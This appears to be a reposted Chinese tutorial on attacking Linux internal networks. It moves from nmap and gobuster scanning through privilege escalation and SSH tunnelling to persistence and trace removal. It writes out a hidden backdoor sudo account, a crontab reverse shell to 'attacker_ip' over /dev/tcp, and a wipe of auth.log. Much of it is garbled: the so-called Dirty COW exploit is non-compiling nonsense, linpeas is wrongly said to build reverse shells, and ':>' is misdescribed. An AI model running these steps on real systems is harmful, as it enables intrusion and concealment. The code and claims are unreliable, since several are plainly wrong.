如何在Linux环境中进行内网渗透测试?
- 行业动态
- 2024-11-14
- 2
linux 渗透内网涉及使用各种工具和技术,如 nmap、metasploit,以发现和利用网络中的破绽。
Linux内网渗透
背景介绍
Linux内网渗透是指攻击者在获得初始访问权限后,通过一系列技术手段在内网中横向移动,以进一步扩展对网络的控制和数据获取,由于Linux系统广泛应用于服务器和企业环境,因此掌握Linux内网渗透技术对于网络安全工程师和渗透测试员来说至关重要,本文将详细探讨Linux内网渗透的各个方面,包括信息收集、提权、维持访问、痕迹清理等。
基本信息收集
在进行任何渗透活动之前,首先需要尽可能多地收集目标系统的基本信息,这些信息将为后续的攻击提供重要支持。
主机存活探测
使用工具如nmap或netdiscover进行主机存活探测,以确定目标网络中的活跃设备。
nmap -sn 192.168.0.0/24
端口扫描
一旦确定了活动的主机,下一步就是识别开放端口和服务,这可以通过nmap或masscan来完成。
nmap -p 1-65535 192.168.0.1
目录扫描
对于Web应用程序,使用gobuster或dirb等工具进行目录扫描,以发现可能的管理后台或其他敏感路径。
gobuster dir -u http://192.168.0.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
破绽利用与提权
内核破绽提权
脏牛(Dirty COW)破绽是一个经典的内核提权破绽,影响了许多Linux发行版,该破绽允许攻击者通过竞争条件写入只读文件,从而获得root权限,以下是利用该破绽的一个示例:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h> void exploit() { char *buf1 = "/proc/self/as"; char *buf2 = malloc(strlen(buf1) + 1); memcpy(buf2, buf1, strlen(buf1)); buf2[strlen(buf1)] = 'x00'; // Null-terminate the string char *stack_buf = (char *)mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_STACK | MAP_ANONYMOUS | MAP_EXECUTABLE | MAP_GROWSDOWN, -1, 0); char *stack_buf_start = stack_buf + STACK_SIZE; memcpy(stack_buf_start, buf2, strlen(buf2)); // Copy to stack // Overwrite return address on stack with address ofwin function *((void **)(stack_buf_start + 7)) = &win; } int main() { exploit(); return 0; }
>注意:实际利用中需根据目标系统环境进行调整。
第三方服务提权
某些第三方服务可能存在未修复的破绽,可通过这些服务进行提权,旧版本的Docker远程API未授权访问破绽可以用于提权,通过以下命令检查Docker版本:
docker --version
如果存在破绽版本,则可以通过以下方式获取容器列表:
curl http://<target>:2375/containers/json
进一步利用此破绽启动新容器并挂载宿主机的目录,从而实现逃逸。
SUID程序提权
一些二进制文件被设置了SUID位,这意味着它们将以文件所有者的权限运行,常见的SUID程序包括nmap、find等,可以通过以下命令查找系统中的SUID程序:
find / -perm -u=s -type f 2>/dev/null
然后尝试直接运行这些程序以获得更高的权限。
横向移动
一旦获得了高权限,攻击者通常会尝试在内网中横向移动,以进一步控制其他系统,以下是几种常见的方法:
SSH隧道
使用SSH隧道可以在两个网络之间建立安全连接,通过以下命令在本地机器上建立一个SOCKS代理:
ssh -qTfnN -D 1111 root@remote_server
然后在本地浏览器或其他工具中设置SOCKS代理,以便访问远程网络资源。
代理链
当需要通过多个跳板机时,可以使用proxychains或tsocks等工具来设置代理链。
proxychains nmap -sS 192.168.1.0/24
这将通过配置文件中指定的代理链进行扫描。
WMI与PowerShell
虽然WMI和PowerShell主要用于Windows环境,但在混合环境中也可能有用,通过SSH隧道连接到Windows主机后,可以使用PowerShell脚本进行操作。
权限维持
为了长期控制目标系统,攻击者需要确保其访问权限得以维持,以下是几种常见的方法:
创建后门账户
在系统中创建一个隐藏的用户账户,以便日后登录。
sudo useradd -r backdooruser echo "backdooruser:password" | sudo chpasswd
然后将用户添加到/etc/sudoers文件中,赋予其sudo权限。
安装持久化后门
植入持久化的Web后门,如web shell或reverse shell,使用linpeas生成一个反向shell:
linpeas -p tcp -r 192.168.1.100 -k password -a amd64 -o /tmp/backdoor chmod +x /tmp/backdoor nohup /tmp/backdoor > /dev/null 2>&1 &
Crontab任务计划
编辑crontab文件,添加定时任务以定期执行反面命令。
crontab -e
添加如下行:
* * * * /bin/bash -i >& /dev/tcp/attacker_ip/port 0>&1
痕迹清理
为了避免被检测到,攻击者通常会清理所有的痕迹,以下是一些常见的清理步骤:
清除日志文件
删除或修改系统日志文件中的相关信息。
>/var/log/auth.log :>/var/log/auth.log
使用:>表示注释掉不需要的日志条目。
移除反面文件
删除所有上传的反面文件和脚本。
rm -rf /tmp/malicious_script.sh
恢复系统配置
如果修改了系统配置,记得将其恢复到原始状态,撤销对/etc/sudoers文件的更改:
sudo visudo -c /etc/sudoers
Linux内网渗透是一项复杂的任务,涉及多个步骤和技术,从最初的信息收集到最终的痕迹清理,每一步都需要精心策划和执行,希望本文能为你提供一个全面的指南,帮助你更好地理解和应对Linux内网渗透的挑战,安全是一个持续的过程,只有不断学习和实践才能保持领先。
以上内容就是解答有关“linux 渗透内网”的详细内容了,我相信这篇文章可以为您解决一些疑惑,有任何问题欢迎留言反馈,谢谢阅读。
本站发布或转载的文章及图片均来自网络,其原创性以及文中表达的观点和判断不代表本站,有问题联系侵删!
本文链接:http://www.xixizhuji.com/fuzhu/310.html